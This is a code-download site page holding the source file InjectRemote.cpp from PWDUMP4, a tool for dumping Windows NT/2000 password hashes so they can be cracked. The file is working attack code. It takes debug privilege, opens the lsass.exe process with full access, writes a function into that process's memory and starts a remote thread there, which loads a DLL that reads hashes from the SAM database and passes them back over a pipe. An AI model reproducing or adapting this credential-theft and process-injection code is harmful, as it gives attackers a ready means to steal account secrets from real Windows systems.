⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 injectremote.cpp

📁 导出用户名口令的pwdump4的源代码
💻 CPP
字号:
/***************************************************************************
 * Program: PWDUMP4 - dump winnt/2000 user/password hash remote or local for crack
 * 
 * Copyright (c) 2002, 2003 bingle, all rights reserved
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 * 
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 * 
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 *
 * Author:  bingle@email.com.cn
 * File:    InjectRemote.cpp
 * Purpose: inject a remote thread for dump the password hashes from the NT SAM.
 * Date:    2002-1-20
 * 
 ***************************************************************************/


#include <stdio.h>
#include <windows.h>
#include <process.h>
#include "PwDump4.h"

typedef HINSTANCE (WINAPI *pLoadLibFunc)( char* );
typedef HINSTANCE (WINAPI *pGetProcAddrFunc)( HINSTANCE, char* );
typedef HINSTANCE (WINAPI *pFreeLibFunc)( HINSTANCE );
typedef int (*pGetHashFunc)( unsigned, unsigned, unsigned );
typedef void (*pVoidFunc)( void );

typedef struct ThreadData
{
#ifdef _DEBUG
	pVoidFunc pDebugBreak;
#endif
    pLoadLibFunc pLoadLibrary;
    pGetProcAddrFunc pGetProcAddress;
    pFreeLibFunc pFreeLibrary;
    unsigned long magic;
	unsigned long pid, hid;
    char szFuncName[12];
    //char szPipeName[16];
    char szDllName[4];/* the dll full path may vary from 12 --> 260
	so we not allocate at largest, the actrual size of ThreadData is dynamic
	after var, there is a dummy array for overflow */
}ThreadData;

//RemoteThreadFunc return status:
char *remoteReturnString[] = {
	"",
	"(ERROR_LOAD_LSADLL) load PwDump4.dll failed, maybe lsass.exe cannot access PwDump4.dll",
	"(ERROR_LOAD_HASHFUNC) load function GetHash() in PwDump4.dll failed, maybe incorrect dll version",
	"(ERROR_INVALID_PARAM) will not occur this, if so, tell me",
	"(ERROR_DUP_PIPE) duplicate pipe handle for transfer data in PwDump4.dll failed.",
	"(ERROR_NO_CONNECT) process lsass.exe cannot open sam database.",
	"(ERROR_LOAD_SAMDLL) load system dll samsrv.dll failed.",
	"(ERROR_LOAD_SAMFUNC) not all function samsrv.dll can be load.",
	"(ERROR_OPEN_PROCESS) process lsass.exe cannot open process pwdump4.exe to duplicate handle"
};



/* This is the function used to load the dll in lsass
	must disable /GZ,
The /GZ option does the following: 
	Auto-initialization of local variables
	Function pointer call stack validation
	Call stack validation 
*/

static DWORD __stdcall RemoteThreadFunc( struct ThreadData* pData )
{
    HINSTANCE hDll;
    pGetHashFunc pGetHash;
    int rc = ERROR_LOAD_LSADLL;

#ifdef _DEBUG
	//pData->pDebugBreak(); // for debug the service
#endif

    hDll = pData->pLoadLibrary( pData->szDllName );
    if( hDll )
    {
        rc = ERROR_LOAD_HASHFUNC;
        pGetHash = (pGetHashFunc)pData->pGetProcAddress( hDll, pData->szFuncName );
        if( pGetHash )/* 0 if failed, 1 if ok */
            rc = pGetHash( pData->pid, pData->hid, pData->magic );
        pData->pFreeLibrary( hDll );
    }

    return rc;
}

// Dummy function used to get the address after RemoteThreadFunc
static void DummyFunc( )
{
    return;
}

//global pipe handle for transfer data 
extern HANDLE hPipe;
int SendText( char *lpFmt, ... );

//inject dll into remote process hProc
void InjectDll( HANDLE hProc, unsigned magic )
{
    // Determine amount of memory to allocate
    DWORD dwFuncSize = (DWORD)DummyFunc - (DWORD)RemoteThreadFunc;
    DWORD dwBytesToAlloc, dwStructSize;

    char szBuffer[MAX_PATH];
	char dummy[ MAX_PATH ];//used for overflow
    ThreadData rtData;

    void* pRemoteAlloc = NULL;
    HINSTANCE hKernel32;
    DWORD dwBytesWritten;
    HANDLE hRemoteThread = 0;
    int trc = NO_ERROR;
    DWORD dwIgnored;


    strncpy( rtData.szFuncName, "GetHash", sizeof(rtData.szFuncName) );
	GetModuleFileName( NULL, szBuffer, sizeof(szBuffer) );
    strcpy( strrchr(szBuffer, '\\')+1, exeName );
	strcat( szBuffer, ".dll" );
    strcpy( rtData.szDllName, szBuffer );

    // Prepare the info to send across
    hKernel32 = LoadLibrary( "Kernel32" );
#ifdef _DEBUG
	rtData.pDebugBreak = (pVoidFunc)GetProcAddress( hKernel32, "DebugBreak" );
#endif
	rtData.pLoadLibrary = (pLoadLibFunc)GetProcAddress( hKernel32, "LoadLibraryA" );
    rtData.pGetProcAddress = ( pGetProcAddrFunc)GetProcAddress( hKernel32, "GetProcAddress" );
    rtData.pFreeLibrary = (pFreeLibFunc)GetProcAddress( hKernel32, "FreeLibrary" );
	rtData.magic = magic;
	rtData.pid = GetCurrentProcessId();
	rtData.hid = (DWORD)hPipe;


	dwFuncSize = ( (dwFuncSize>>2) + 1 ) << 2;
	dwStructSize = sizeof(ThreadData) + strlen(rtData.szDllName);
	dwStructSize = ( (dwStructSize>>2) + 1 ) << 2;
	dwBytesToAlloc = dwFuncSize + dwStructSize;

    // Allocate memory in remote proc
    pRemoteAlloc = VirtualAllocEx( hProc, NULL, dwBytesToAlloc, MEM_COMMIT, PAGE_READWRITE );
    if( pRemoteAlloc == NULL )
    {
        SendText( "Status: VirtualAllocEx in lsass failed: %d\n", GetLastError() );
        return;
    }
    
    // Write data to the proc
    if( !WriteProcessMemory( hProc, pRemoteAlloc, &rtData, dwStructSize, &dwBytesWritten ) )
    {
        SendText( "Status: WriteProcessMemory in lsass failed: %d\n", GetLastError() );
        goto exit;
    }

    // Write code to the proc
    if( !WriteProcessMemory( hProc, (PBYTE)pRemoteAlloc + dwStructSize,
                             (LPVOID)(DWORD)RemoteThreadFunc, dwFuncSize, &dwBytesWritten ) )
    {
        SendText( "Status: WriteProcessMemory failed: %d\n", GetLastError() );
        goto exit;
    }

    // Create the remote thread
    hRemoteThread = CreateRemoteThread( hProc, NULL, 0, (LPTHREAD_START_ROUTINE)((PBYTE)pRemoteAlloc + dwStructSize),
                                        pRemoteAlloc, 0, &dwIgnored );
    if( !hRemoteThread )
    {
        SendText( "Status: CreateRemoteThread failed: %d\n", GetLastError() );
        goto exit;
    }

    // Wait for the thread to finish
    WaitForSingleObject( hRemoteThread, INFINITE );
    if(!GetExitCodeThread( hRemoteThread, (DWORD*)&trc ))
        SendText( "Status: GetExitCodeThread failed: %d, ignore.", GetLastError() );
	if( trc != NO_ERROR )
        SendText( "Thread code: dump thread return %d.\n %s\n", trc, (trc < 0 && trc >= ERROR_LAST_ERROR) ? remoteReturnString[-trc] : "");

 exit:
    //clean up
    if( hRemoteThread ) CloseHandle( hRemoteThread );
    VirtualFreeEx( hProc, pRemoteAlloc, 0, MEM_RELEASE );
}

//prepare for inject into remote process, setup pipe for transfer data
HANDLE PrepareInject( char *pipe, int mode )
{
    DWORD dwPid = 0;
    HANDLE hLsassProc = NULL, hThread;
    unsigned long majorVer, ret;
    char buf[256];

    // create pipe for status info
	BindParams param;
	param.pipe = pipe;
	param.type = MESSAGE_PIPE;
	param.phPipe = &hPipe;
	hThread = (HANDLE)_beginthreadex( NULL, 0, thBindPipe, &param, 0, NULL);
	if( hThread == INVALID_HANDLE )
	{
		if( RUN_REMOTELY == mode ) DebugOutput( "_beginthreadex failed when create pipe, error:%u\n", GetLastError() );
		else fprintf( stderr, "_beginthreadex failed when create pipe, error:%u\n", GetLastError() );
        goto exit;
	}
	ret = WaitForSingleObject( hThread, 20000 );
	if( WAIT_FAILED == ret || WAIT_TIMEOUT == ret )
	{
		if( RUN_REMOTELY == mode ) DebugOutput( "WaitFor client connect failed, error:%u\n", GetLastError() );
		else fprintf( stderr, "WaitFor client connect failed, error:%u\n", GetLastError() );
        goto exit;
	}
	if( GetExitCodeThread( hThread, &ret ) )
		if( NO_ERROR != ret )
		{
			if( RUN_REMOTELY == mode ) DebugOutput( "Create Listen Pipe failed, error:%u\n", ret );
			else fprintf( stderr, "Create Listen Pipe failed, error:%u\n", ret );
			goto exit;
		}

    // get version info
	OSVERSIONINFOEX vinfo;
    majorVer = GetVersion() & 0xff;
    vinfo.dwOSVersionInfoSize = majorVer >= 5 ? sizeof(OSVERSIONINFOEX) : sizeof(OSVERSIONINFO);
    GetVersionEx( (OSVERSIONINFO*)&vinfo );
    sprintf( buf, "OS Ver %d.%d, %s", vinfo.dwMajorVersion, vinfo.dwMinorVersion, vinfo.szCSDVersion );
    if( majorVer >= 5 )
    {
        DWORD suite = vinfo.wSuiteMask;
        if( vinfo.wProductType == VER_NT_WORKSTATION )
            strcat( buf, ", Workstation" );
        else if( vinfo.wProductType == VER_NT_SERVER )
            strcat( buf, ", Server" );
        else if( vinfo.wProductType == VER_NT_DOMAIN_CONTROLLER )
            strcat( buf, ", Domain Controller" );

        if( suite & VER_SUITE_BACKOFFICE ) strcat( buf, "Backoffice " );
        if( suite & VER_SUITE_DATACENTER ) strcat( buf, "Data Center " );
        if( suite & VER_SUITE_ENTERPRISE ) strcat( buf, "Enterprise " );
        if( suite & VER_SUITE_SMALLBUSINESS ) strcat( buf, "Small Business " );
        if( suite & VER_SUITE_SMALLBUSINESS_RESTRICTED ) strcat( buf, "SB Restricted " );
        if( suite & VER_SUITE_TERMINAL ) strcat( buf, "Terminal " );
    }
    SendText( "Version: %s\n", buf );

    // Enable the debug privilege
    if( SetDebugPrivilege() != 0 )
		goto exit;

    // Get the LSASS pid
    dwPid = GetLsassPid();
    if( !dwPid )
    {
        SendText( "Status: Couldn't find LSASS pid\n" );
        goto exit;
    }

    // Open lsass
    hLsassProc = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwPid );
    if( hLsassProc == 0 )
    {
        SendText( "Status: Open lsass process failed: %d, pid %d", GetLastError(), dwPid );
        goto exit;
    }

exit:
	return hLsassProc;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -